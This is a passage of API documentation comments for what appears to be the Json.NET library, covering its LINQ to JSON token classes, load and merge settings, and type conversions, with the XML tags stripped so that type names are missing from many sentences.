Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Specifies how JSON comments are handled when loading JSON. - - - - - Ignore comments. - - - - - Load comments as a with type . - - - - - Specifies how duplicate property names are handled when loading JSON. - - - - - Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. - - - - - Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. - - - - - Throw a when a duplicate property is encountered. - - - - - Contains the LINQ to JSON extension methods. - - - - - Returns a collection of tokens that contains the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the descendants of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, and the descendants of every token in the source collection. - - - - Returns a collection of child properties of every object in the source collection. - - An of that contains the source collection. - An of that contains the properties of every object in the source collection. - - - - Returns a collection of child values of every object in the source collection with the given key. - - An of that contains the source collection. - The token key. - An of that contains the values of every token in the source collection with the given key. - - - - Returns a collection of child values of every object in the source collection. - - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child values of every object in the source collection with the given key. - - The type to convert the values to. - An of that contains the source collection. - The token key. - An that contains the converted values of every token in the source collection with the given key. - - - - Returns a collection of converted child values of every object in the source collection. - - The type to convert the values to. - An of that contains the source collection. - An that contains the converted values of every token in the source collection. - - - - Converts the value. - - The type to convert the value to. - A cast as a of . - A converted value. - - - - Converts the value. - - The source collection type. - The type to convert the value to. - A cast as a of . - A converted value. - - - - Returns a collection of child tokens of every array in the source collection. - - The source collection type. - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child tokens of every array in the source collection. - - An of that contains the source collection. - The type to convert the values to. - The source collection type. - An that contains the converted values of every token in the source collection. - - - - Returns the input typed as . - - An of that contains the source collection. - The input typed as . - - - - Returns the input typed as . - - The source collection type. - An of that contains the source collection. - The input typed as . - - - - Represents a collection of objects. - - The type of token. - - - - Gets the of with the specified key. - - - - - - Represents a JSON array. - - - - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous load. The property contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous load. The property contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Loads an from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads an from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the at the specified index. - - - - - - Determines the index of a specific item in the . - - The object to locate in the . - - The index of if found in the list; otherwise, -1. - - - - - Inserts an item to the at the specified index. - - The zero-based index at which should be inserted. - The object to insert into the . - - is not a valid index in the . - - - - - Removes the item at the specified index. - - The zero-based index of the item to remove. - - is not a valid index in the . - - - - - Returns an enumerator that iterates through the collection. - - - A of that can be used to iterate through the collection. - - - - - Adds an item to the . - - The object to add to the . - - - - Removes all items from the . - - - - - Determines whether the contains a specific value. - - The object to locate in the . - - true if is found in the ; otherwise, false. - - - - - Copies the elements of the to an array, starting at a particular array index. - - The array. - Index of the array. - - - - Gets a value indicating whether the is read-only. - - true if the is read-only; otherwise, false. - - - - Removes the first occurrence of a specific object from the . - - The object to remove from the . - - true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . - - - - - Represents a JSON constructor. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets or sets the name of this constructor. - - The constructor name. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name. - - The constructor name. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a token that can contain other tokens. - - - - - Occurs when the list changes or an item in the list changes. - - - - - Occurs before an item is added to the collection. - - - - - Occurs when the items list of the collection has changed, or the collection is reset. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Raises the event. - - The instance containing the event data. - - - - Raises the event. - - The instance containing the event data. - - - - Raises the event. - - The instance containing the event data. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Get the first child token of this token. - - - A containing the first child token of the . - - - - - Get the last child token of this token. - - - A containing the last child token of the . - - - - - Returns a collection of the child tokens of this token, in document order. - - - An of containing the child tokens of this , in document order. - - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - - A containing the child values of this , in document order. - - - - - Returns a collection of the descendant tokens for this token in document order. - - An of containing the descendant tokens of the . - - - - Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. - - An of containing this token, and all the descendant tokens of the . - - - - Adds the specified content as children of this . - - The content to be added. - - - - Adds the specified content as the first children of this . - - The content to be added. - - - - Creates a that can be used to add tokens to the . - - A that is ready to have content written to it. - - - - Replaces the child nodes of this token with the specified content. - - The content. - - - - Removes the child nodes from this token. - - - - - Merge the specified content into this . - - The content to be merged. - - - - Merge the specified content into this using . - - The content to be merged. - The used to merge the content. - - - - Gets the count of child JSON tokens. - - The count of child JSON tokens. - - - - Represents a collection of objects. - - The type of token. - - - - An empty collection of objects. - - - - - Initializes a new instance of the struct. - - The enumerable. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Gets the of with the specified key. - - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Returns a hash code for this instance. - - - A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. - - - - - Represents a JSON object. - - - - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Occurs when a property value changes. - - - - - Occurs when a property value is changing. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Gets the node type for this . - - The type. - - - - Gets an of of this object's properties. - - An of of this object's properties. - - - - Gets a with the specified name. - - The property name. - A with the specified name or null. - - - - Gets the with the specified name. - The exact name will be searched for first and if no matching property is found then - the will be used to match a property. - - The property name. - One of the enumeration values that specifies how the strings will be compared. - A matched with the specified name or null. - - - - Gets a of of this object's property values. - - A of of this object's property values. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the with the specified property name. - - - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified property name. - - Name of the property. - The with the specified property name. - - - - Gets the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - One of the enumeration values that specifies how the strings will be compared. - The with the specified property name. - - - - Tries to get the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - The value. - One of the enumeration values that specifies how the strings will be compared. - true if a value was successfully retrieved; otherwise, false. - - - - Adds the specified property name. - - Name of the property. - The value. - - - - Determines whether the JSON object has the specified property name. - - Name of the property. - true if the JSON object has the specified property name; otherwise, false. - - - - Removes the property with the specified name. - - Name of the property. - true if item was successfully removed; otherwise, false. - - - - Tries to get the with the specified property name. - - Name of the property. - The value. - true if a value was successfully retrieved; otherwise, false. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Represents a JSON property. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the property name. - - The property name. - - - - Gets or sets the property value. - - The property value. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a view of a . - - - - - Initializes a new instance of the class. - - The name. - - - - When overridden in a derived class, returns whether resetting an object changes its value. - - - true if resetting the component changes its value; otherwise, false. - - The component to test for reset capability. - - - - When overridden in a derived class, gets the current value of the property on a component. - - - The value of a property for a given component. - - The component with the property for which to retrieve the value. - - - - When overridden in a derived class, resets the value for this property of the component to the default value. - - The component with the property value that is to be reset to the default value. - - - - When overridden in a derived class, sets the value of the component to a different value. - - The component with the property value that is to be set. - The new value. - - - - When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. - - - true if the property should be persisted; otherwise, false. - - The component with the property to be examined for persistence. - - - - When overridden in a derived class, gets the type of the component this property is bound to. - - - A that represents the type of component this property is bound to. - When the or - - methods are invoked, the object specified might be an instance of this type. - - - - - When overridden in a derived class, gets a value indicating whether this property is read-only. - - - true if the property is read-only; otherwise, false. - - - - - When overridden in a derived class, gets the type of the property. - - - A that represents the type of the property. - - - - - Gets the hash code for the name of the member. - - - - The hash code for the name of the member. - - - - - Represents a raw JSON string. - - - - - Asynchronously creates an instance of with the content of the reader's current token. - - The reader. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns an instance of with the content of the reader's current token. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class. - - The raw json. - - - - Creates an instance of with the content of the reader's current token. - - The reader. - An instance of with the content of the reader's current token. - - - - Specifies the settings used when cloning JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets a flag that indicates whether to copy annotations when cloning a . - The default value is true. - - - A flag that indicates whether to copy annotations when cloning a . - - - - - Specifies the settings used when loading JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets how JSON comments are handled when loading JSON. - The default value is . - - The JSON comment handling. - - - - Gets or sets how JSON line info is handled when loading JSON. - The default value is . - - The JSON line info handling. - - - - Gets or sets how duplicate property names in JSON objects are handled when loading JSON. - The default value is . - - The JSON duplicate property name handling. - - - - Specifies the settings used when merging JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the method used when merging JSON arrays. - - The method used when merging JSON arrays. - - - - Gets or sets how null value properties are merged. - - How null value properties are merged. - - - - Gets or sets the comparison used to match property names while merging. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - The comparison used to match property names while merging. - - - - Specifies the settings used when selecting JSON. - - - - - Gets or sets a timeout that will be used when executing regular expressions. - - The timeout that will be used when executing regular expressions. - - - - Gets or sets a flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - A flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - - - Represents an abstract JSON token. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Writes this token to a asynchronously. - - A into which this method will write. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously creates a from a . - - An positioned at the token to read into this . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains - the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains - the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - A positioned at the token to read into this . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Gets a comparer that can compare two tokens for value equality. - - A that can compare two nodes for value equality. - - - - Gets or sets the parent. - - The parent. - - - - Gets the root of this . - - The root of this . - - - - Gets the node type for this . - - The type. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Compares the values of two tokens, including the values of all descendant tokens. - - The first to compare. - The second to compare. - true if the tokens are equal; otherwise false. - - - - Gets the next sibling token of this node. - - The that contains the next sibling token. - - - - Gets the previous sibling token of this node. - - The that contains the previous sibling token. - - - - Gets the path of the JSON token. - - - - - Adds the specified content immediately after this token. - - A content object that contains simple content or a collection of content objects to be added after this token. - - - - Adds the specified content immediately before this token. - - A content object that contains simple content or a collection of content objects to be added before this token. - - - - Returns a collection of the ancestor tokens of this token. - - A collection of the ancestor tokens of this token. - - - - Returns a collection of tokens that contain this token, and the ancestors of this token. - - A collection of tokens that contain this token, and the ancestors of this token. - - - - Returns a collection of the sibling tokens after this token, in document order. - - A collection of the sibling tokens after this tokens, in document order. - - - - Returns a collection of the sibling tokens before this token, in document order. - - A collection of the sibling tokens before this token, in document order. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets the with the specified key converted to the specified type. - - The type to convert the token to. - The token key. - The converted token value. - - - - Get the first child token of this token. - - A containing the first child token of the . - - - - Get the last child token of this token. - - A containing the last child token of the . - - - - Returns a collection of the child tokens of this token, in document order. - - An of containing the child tokens of this , in document order. - - - - Returns a collection of the child tokens of this token, in document order, filtered by the specified type. - - The type to filter the child tokens on. - A containing the child tokens of this , in document order. - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - A containing the child values of this , in document order. - - - - Removes this token from its parent. - - - - - Replaces this token with the specified token. - - The value. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Returns the indented JSON for this token. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - The indented JSON for this token. - - - - - Returns the JSON for this token using the given formatting and converters. - - Indicates how the output should be formatted. - A collection of s which will be used when writing the token. - The JSON for this token using the given formatting and converters. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to []. - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from [] to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Creates a for this token. - - A that can be used to read this token and its descendants. - - - - Creates a from an object. - - The object that will be used to create . - A with the value of the specified object. - - - - Creates a from an object using the specified . - - The object that will be used to create . - The that will be used when reading the object. - A with the value of the specified object. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - Creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A , or null. - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - A . - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - The used to select tokens. - A . - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - The used to select tokens. - An of that contains the selected elements. - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A new instance of the . - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A object to configure cloning settings. - A new instance of the . - - - - Adds an object to the annotation list of this . - - The annotation to add. - - - - Get the first annotation object of the specified type from this . - - The type of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets the first annotation object of the specified type from this . - - The of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets a collection of annotations of the specified type for this . - - The type of the annotations to retrieve. - An that contains the annotations for this . - - - - Gets a collection of annotations of the specified type for this . - - The of the annotations to retrieve. - An of that contains the annotations that match the specified type for this . - - - - Removes the annotations of the specified type from this . - - The type of annotations to remove. - - - - Removes the annotations of the specified type from this . - - The of annotations to remove. - - - - Compares tokens to determine whether they are equal. - - - - - Determines whether the specified objects are equal. - - The first object of type to compare. - The second object of type to compare. - - true if the specified objects are equal; otherwise, false. - - - - - Returns a hash code for the specified object. - - The for which a hash code is to be returned. - A hash code for the specified object. - The type of is a reference type and is null. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Gets the at the reader's current position. - - - - - Initializes a new instance of the class. - - The token to read from. - - - - Initializes a new instance of the class. - - The token to read from. - The initial path of the token. It is prepended to the returned . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Gets the path of the current JSON token. - - - - - Specifies the type of token. - - - - - No token type has been set. - - - - - A JSON object. - - - - - A JSON array. - - - - - A JSON constructor. - - - - - A JSON object property. - - - - - A comment. - - - - - An integer value. - - - - - A float value. - - - - - A string value. - - - - - A boolean value. - - - - - A null value. - - - - - An undefined value. - - - - - A date value. - - - - - A raw JSON value. - - - - - A collection of bytes value. - - - - - A Guid value. - - - - - A Uri value. - - - - - A TimeSpan value. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets the at the writer's current position. - - - - - Gets the token being written. - - The token being written. - - - - Initializes a new instance of the class writing to the given . - - The container being written to. - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the underlying . - - - - - Closes this writer. - If is set to true, the JSON is auto-completed. - - - Setting to true has no additional effect, since the underlying is a type that cannot be closed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end. - - The token. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes a value. - An error will be raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to 